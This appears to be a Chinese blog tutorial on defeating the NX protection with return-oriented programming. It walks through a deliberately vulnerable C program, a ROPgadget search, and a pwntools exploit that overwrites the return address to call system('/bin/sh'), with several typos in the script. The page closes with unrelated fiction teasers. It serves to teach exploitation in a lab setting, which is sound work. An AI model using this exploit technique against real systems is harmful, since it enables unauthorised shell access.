NX防护机制绕过 ROP

什么是ROP

*ROP(Return Oriented Programming)即面向返回地址编程,其主要思想是在栈缓冲区溢出的基础上,通过利用程序中已有的小片段(gadgets)来改变某些寄存器或者变量的值,从而改变程序的执行流程,达到预期利用目的。(一般这个gadgets是返回地址,只有返回地址是可以我们随意操作的!)

源码

#include <stdio.h>
#include <string.h>

int main()
{
    puts("SO plz qive me your shellcode");
        char buffer[256];
        memset(buffer,0,256);
        read(0,buffer,256);    
        vul(buffer);
        return 0;

}
void vul(char *msg)
{
    char buffer[64];
    memcpy(buffer,msg,128);
    return;

}

检查

1.checksec pwnme 查看文件开启的安全防护机制

图片.png

2.我们知道文件开启了,栈不可执行,我们在打开一个命令窗口。输入ps -a 我们可以观察到
图片.png

布局

图片.png

*我们需要知道这个gadgets这个小片段,然我们可以使用ROPgadget这个工具来查找 ROPgadget --binary pwnme |grep rdi
图片.png

思路:我们将/bin/sh先传入rdi中,我们在调用system函数。实现了我们将/bin/sh传入systemsystem('/bin/sh')

/bin/sh和system的查找到IDA中查找

exp文件的编写 需要修改

from pwn import *
p = procces('./pwnme')
p.recvuntil('shellcode')   #j接收字符串

gedgetr_add = 0x0000000000401253
libc_base = 0x00007ffff7dee000
##bin/sh和system的偏移地址
bin_sh =  0x000000000017F573 
system = 0x00000000000435D0
##off end
bin_sh_off = libc_bace+bin_sh
system_off = libc_bace +system
##布局填充数据
paylod ='A'*72
paylod += p64(gedgetr_add)
paylod += p64(bin_sh_off)
paylod += p64(system_off)

with open('poc','wb') as f :
       f.write(paylod)

p.sendline(paylod)
p.interctive()



添加知识点

如何用脚本查找bin/sh和system

from pwn import *
p = process('./pwnme')
p.recvuntil('shellcode')  

elf = ELF('libc.so.6')

system_in_libc = elf.symbols['system']

bin_sh_in_libc = next(elf.search('/bin/sh'))


libc_base = 0x00007ffff7dee000
gadget_addr =  0x0000000000401243
system_addr = libc_base + system_in_libc
bin_sh_addr = libc_base + bin_sh_in_libc

print hex(system_addr) +'----'+hex(bin_sh_addr)
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 200,527评论 5 470
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 84,314评论 2 377
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 147,535评论 0 332
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,006评论 1 272
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,961评论 5 360
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,220评论 1 277
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,664评论 3 392
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,351评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,481评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,397评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,443评论 1 329
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,123评论 3 315
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,713评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,801评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,010评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,494评论 2 346
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,075评论 2 341

推荐阅读更多精彩内容

  • Return-Oriented-Programming(ROP FTW) Author: Saif El-Sher...
    RealSys阅读 3,278评论 0 2
  • 上回弄了个32位的NX机制及策略-Ret2libc,这次弄一个64位的 将代码在x64平台上编译运行,不同于x86...
    Cookie_hunter阅读 4,490评论 0 3
  • 59%—完结 整本书里面最触动我的一段话:“我总觉得大多数人这样度过一生好像欠缺点什么。我承认这种生活的社会价值,...
    冰淇淋cathy阅读 195评论 0 0
  • 常常和很多家长在微信上谈论到教育孩子的问题,最近在教育研究的过程中,读到一篇有关提升孩子教养问题的文章,希望各位家...
    普渡pd阅读 162评论 0 0
  • 我的灵感死在它奔向我的路上 我只好枯坐在夜里 听胸腔里血液翻滚 黑色的风穿过我的胸膛 白色的月亮覆盖住我的眼睛 我...
    岩兮阅读 204评论 2 5